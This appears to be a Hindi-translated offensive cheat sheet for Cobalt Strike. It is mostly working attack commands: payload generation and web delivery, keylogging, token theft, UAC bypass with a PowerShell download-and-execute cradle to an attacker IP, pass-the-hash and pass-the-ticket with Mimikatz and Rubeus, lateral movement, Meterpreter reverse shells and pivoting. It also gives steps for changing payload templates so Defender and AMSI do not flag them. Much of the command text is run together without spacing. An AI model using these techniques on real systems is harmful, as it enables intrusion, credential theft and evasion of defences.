Cobalt Strike -> Listeners -> Add/Edit फिर आप चुन सकते हैं कि कहाँ सुनना है, किस प्रकार का बीकन उपयोग करना है (http, dns, smb...) और अधिक।
Peer2Peer Listeners
इन लिस्नर्स के बीकन को सीधे C2 से बात करने की आवश्यकता नहीं है, वे अन्य बीकनों के माध्यम से इसके साथ संवाद कर सकते हैं।
Cobalt Strike -> Listeners -> Add/Edit फिर आपको TCP या SMB बीकन का चयन करना होगा।
TCP बीकन चयनित पोर्ट में एक लिस्नर सेट करेगा। TCP बीकन से कनेक्ट करने के लिए दूसरे बीकन से connect <ip> <port> कमांड का उपयोग करें।
smb बीकन चयनित नाम के साथ एक पिपेनाम में सुनता है। SMB बीकन से कनेक्ट करने के लिए आपको link [target] [pipe] कमांड का उपयोग करना होगा।
Generate & Host payloads
Generate payloads in files
Attacks -> Packages ->
HTMLApplication HTA फ़ाइलों के लिए
MS Office Macro एक ऑफिस दस्तावेज़ के लिए जिसमें एक मैक्रो है
Windows Executable एक .exe, .dll या सेवा .exe के लिए
Windows Executable (S) एक stageless .exe, .dll या सेवा .exe के लिए (stageless को staged से बेहतर माना जाता है, कम IoCs)
Generate & Host payloads
Attacks -> Web Drive-by -> Scripted Web Delivery (S) यह कोबाल्ट स्ट्राइक से बीकन डाउनलोड करने के लिए bitsadmin, exe, powershell और python जैसे प्रारूपों में एक स्क्रिप्ट/एक्ज़ीक्यूटेबल उत्पन्न करेगा।
Host Payloads
यदि आपके पास पहले से वह फ़ाइल है जिसे आप वेब सर्वर में होस्ट करना चाहते हैं, तो बस Attacks -> Web Drive-by -> Host File पर जाएं और होस्ट करने के लिए फ़ाइल और वेब सर्वर कॉन्फ़िगरेशन का चयन करें।
Beacon Options
# Execute local .NET binaryexecute-assembly</path/to/executable.exe># Screenshotsprintscreen# PrintScr विधि के माध्यम से एकल स्क्रीनशॉट लेंscreenshot# एकल स्क्रीनशॉट लेंscreenwatch# डेस्कटॉप के नियमित स्क्रीनशॉट लें## उन्हें देखने के लिए View -> Screenshots पर जाएं# keyloggerkeylogger [pid] [x86|x64]## View > Keystrokes पर जाएं ताकि दबाए गए कुंजियों को देख सकें# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # किसी अन्य प्रक्रिया के अंदर पोर्टस्कैन क्रिया को इंजेक्ट करेंportscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Powershell मॉड्यूल आयात करेंpowershell-importC:\path\to\PowerView.ps1powershell<यहाँबसpowershellcmdलिखें># User impersonation## क्रेड्स के साथ टोकन जनरेशनmake_token [DOMAIN\user] [password] # नेटवर्क में एक उपयोगकर्ता का अनुकरण करने के लिए टोकन बनाएंls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करेंrev2self# make_token के साथ उत्पन्न टोकन का उपयोग करना बंद करें## make_token का उपयोग करने से घटना 4624 उत्पन्न होती है: एक खाता सफलतापूर्वक लॉग ऑन हुआ। यह घटना Windows डोमेन में बहुत सामान्य है, लेकिन लॉगऑन प्रकार पर फ़िल्टर करके इसे संकीर्ण किया जा सकता है। जैसा कि ऊपर उल्लेख किया गया है, यह LOGON32_LOGON_NEW_CREDENTIALS का उपयोग करता है जो प्रकार 9 है।# UAC Bypasselevatesvc-exe<listener>elevateuac-token-duplication<listener>runasadminuac-cmstpluapowershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"## pid से टोकन चुराना## make_token की तरह लेकिन एक प्रक्रिया से टोकन चुरानाsteal_token [pid] # इसके अलावा, यह नेटवर्क क्रियाओं के लिए उपयोगी है, स्थानीय क्रियाओं के लिए नहीं## API दस्तावेज़ से हम जानते हैं कि यह लॉगऑन प्रकार "caller को अपने वर्तमान टोकन को क्लोन करने की अनुमति देता है"। यही कारण है कि बीकन आउटपुट कहता है Impersonated <current_username> - यह हमारे अपने क्लोन किए गए टोकन का अनुकरण कर रहा है।ls \\computer_name\c$ # कंप्यूटर में C$ तक पहुँचने के लिए उत्पन्न टोकन का उपयोग करने का प्रयास करेंrev2self# steal_token से टोकन का उपयोग करना बंद करें## नए क्रेडेंशियल्स के साथ प्रक्रिया लॉन्च करेंspawnas [domain\username] [password] [listener] # ऐसा किसी निर्देशिका से करें जिसमें पढ़ने की अनुमति हो जैसे: cd C:\## make_token की तरह, यह Windows घटना 4624 उत्पन्न करेगा: एक खाता सफलतापूर्वक लॉग ऑन हुआ लेकिन लॉगऑन प्रकार 2 (LOGON32_LOGON_INTERACTIVE) के साथ। यह कॉलिंग उपयोगकर्ता (TargetUserName) और अनुकरण किए गए उपयोगकर्ता (TargetOutboundUserName) का विवरण देगा।## प्रक्रिया में इंजेक्ट करेंinject [pid] [x64|x86] [listener]## OpSec के दृष्टिकोण से: जब तक आपको वास्तव में आवश्यकता न हो, क्रॉस-प्लेटफ़ॉर्म इंजेक्शन न करें (जैसे x86 -> x64 या x64 -> x86)।## Pass the hash## इस संशोधन प्रक्रिया के लिए LSASS मेमोरी का पैचिंग आवश्यक है जो एक उच्च जोखिम वाली क्रिया है, स्थानीय व्यवस्थापक विशेषाधिकार की आवश्यकता होती है और यदि प्रोटेक्टेड प्रोसेस लाइट (PPL) सक्षम है तो यह सभी तरह से व्यवहार्य नहीं है।pth [pid] [arch] [DOMAIN\user] [NTLM hash]pth [DOMAIN\user] [NTLM hash]## Mimikatz के माध्यम से हैश पास करेंmimikatzsekurlsa::pth/user:<username>/domain:<DOMAIN>/ntlm:<NTLMHASH>/run:"powershell -w hidden"## /run के बिना, mimikatz एक cmd.exe स्पॉन करता है, यदि आप एक उपयोगकर्ता के रूप में डेस्कटॉप पर चल रहे हैं, तो वह शेल देखेगा (यदि आप SYSTEM के रूप में चल रहे हैं तो आप ठीक हैं)steal_token<pid># Mimikatz द्वारा बनाई गई प्रक्रिया से टोकन चुराएं## टिकट पास करें## एक टिकट का अनुरोध करेंexecute-assemblyC:\path\Rubeus.exeasktgt/user:<username>/domain:<domain>/aes256:<aes_keys>/nowrap/opsec## नए टिकट के साथ उपयोग करने के लिए एक नया लॉगऑन सत्र बनाएं (समझौता किए गए को अधिलेखित न करने के लिए)make_token<domain>\<username>DummyPass## एक पॉवशेल सत्र से हमलावर मशीन में टिकट लिखें & इसे लोड करें[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## SYSTEM से टिकट पास करें## टिकट के साथ एक नई प्रक्रिया उत्पन्न करेंexecute-assemblyC:\path\Rubeus.exeasktgt/user:<USERNAME>/domain:<DOMAIN>/aes256:<AESKEY>/nowrap/opsec/createnetonly:C:\Windows\System32\cmd.exe## उस प्रक्रिया से टोकन चुराएंsteal_token<pid>## टिकट निकालें + टिकट पास करें### टिकटों की सूचीexecute-assemblyC:\path\Rubeus.exetriage### luid द्वारा दिलचस्प टिकट डंप करेंexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### नया लॉगऑन सत्र बनाएं, luid और processid नोट करेंexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### उत्पन्न लॉगऑन सत्र में टिकट डालेंexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### अंततः, उस नई प्रक्रिया से टोकन चुराएंsteal_token<pid># Lateral Movement## यदि एक टोकन बनाया गया है, तो इसका उपयोग किया जाएगाjump [method] [target] [listener]## विधियाँ:## psexec x86 एक सेवा का उपयोग करके एक सेवा EXE कलाकृति चलाएँ## psexec64 x64 एक सेवा का उपयोग करके एक सेवा EXE कलाकृति चलाएँ## psexec_psh x86 एक सेवा का उपयोग करके एक PowerShell एक-लाइनर चलाएँ## winrm x86 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँ## winrm64 x64 WinRM के माध्यम से एक PowerShell स्क्रिप्ट चलाएँremote-exec [method] [target] [command]## विधियाँ:## psexec सेवा नियंत्रण प्रबंधक के माध्यम से दूरस्थ निष्पादन## winrm WinRM (PowerShell) के माध्यम से दूरस्थ निष्पादन## wmi WMI के माध्यम से दूरस्थ निष्पादन## WMI के साथ एक बीकन निष्पादित करने के लिए (यह जंप कमांड में नहीं है) बस बीकन अपलोड करें और इसे निष्पादित करेंbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Pass session to Metasploit - Through listener## Metaploit होस्ट परmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## कोबाल्ट पर: Listeners > Add और Payload को Foreign HTTP पर सेट करें। Host को 10.10.5.120 पर सेट करें, Port को 8080 पर सेट करें और Save पर क्लिक करें।beacon> spawnmetasploit## आप केवल विदेशी लिस्नर के साथ x86 Meterpreter सत्र स्पॉन कर सकते हैं।# Pass session to Metasploit - Through shellcode injection## Metasploit होस्ट परmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## msfvenom चलाएँ और multi/handler लिस्नर तैयार करें## बिन फ़ाइल को कोबाल्ट स्ट्राइक होस्ट पर कॉपी करेंpsshinject<pid>x64C:\Payloads\msf.bin# x64 प्रक्रिया में मेटास्प्लॉइट शेलकोड इंजेक्ट करें# Pass metasploit session to cobalt strike## स्टेजलेस बीकन शेलकोड उत्पन्न करें, Attacks > Packages > Windows Executable (S) पर जाएं, इच्छित लिस्नर का चयन करें, आउटपुट प्रकार के रूप में Raw का चयन करें और x64 payload का उपयोग करें।## उत्पन्न कोबाल्ट स्ट्राइक शेलकोड को इंजेक्ट करने के लिए मेटास्प्लॉइट में post/windows/manage/shellcode_inject का उपयोग करें# Pivoting## टीम सर्वर में एक सॉक्स प्रॉक्सी खोलेंbeacon> socks1080# SSH connectionbeacon> ssh10.10.17.12:22usernamepassword
AVs से बचना
Artifact Kit
आमतौर पर /opt/cobaltstrike/artifact-kit में आप कोड और प्री-कंपाइल किए गए टेम्पलेट ( /src-common में) पा सकते हैं जिनका उपयोग कोबाल्ट स्ट्राइक बाइनरी बीकन उत्पन्न करने के लिए करेगा।
ThreatCheck का उपयोग करके उत्पन्न बैकडोर (या केवल संकलित टेम्पलेट के साथ) आप यह पता लगा सकते हैं कि क्या डिफेंडर को ट्रिगर कर रहा है। यह आमतौर पर एक स्ट्रिंग होती है। इसलिए आप बस उस कोड को संशोधित कर सकते हैं जो बैकडोर उत्पन्न कर रहा है ताकि वह स्ट्रिंग अंतिम बाइनरी में न दिखाई दे।
कोड को संशोधित करने के बाद, बस उसी निर्देशिका से ./build.sh चलाएँ और dist-pipe/ फ़ोल्डर को Windows क्लाइंट में C:\Tools\cobaltstrike\ArtifactKit में कॉपी करें।
Don't forget to load the aggressive script dist-pipe\artifact.cna to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
Resource Kit
ResourceKit फ़ोल्डर में Cobalt Strike के स्क्रिप्ट-आधारित पेलोड के लिए टेम्पलेट्स शामिल हैं, जिसमें PowerShell, VBA और HTA शामिल हैं।
ThreatCheck का उपयोग करते हुए, आप टेम्पलेट्स के साथ यह पता लगा सकते हैं कि डिफेंडर (इस मामले में AMSI) को क्या पसंद नहीं है और इसे संशोधित कर सकते हैं:
डिटेक्टेड लाइनों को संशोधित करके एक ऐसा टेम्पलेट बनाया जा सकता है जो पकड़ा नहीं जाएगा।
ResourceKit\resources.cna नामक आक्रामक स्क्रिप्ट को लोड करना न भूलें ताकि Cobalt Strike को यह संकेत मिले कि हम डिस्क से उन संसाधनों का उपयोग करना चाहते हैं जो हम चाहते हैं और न कि लोड किए गए संसाधनों का।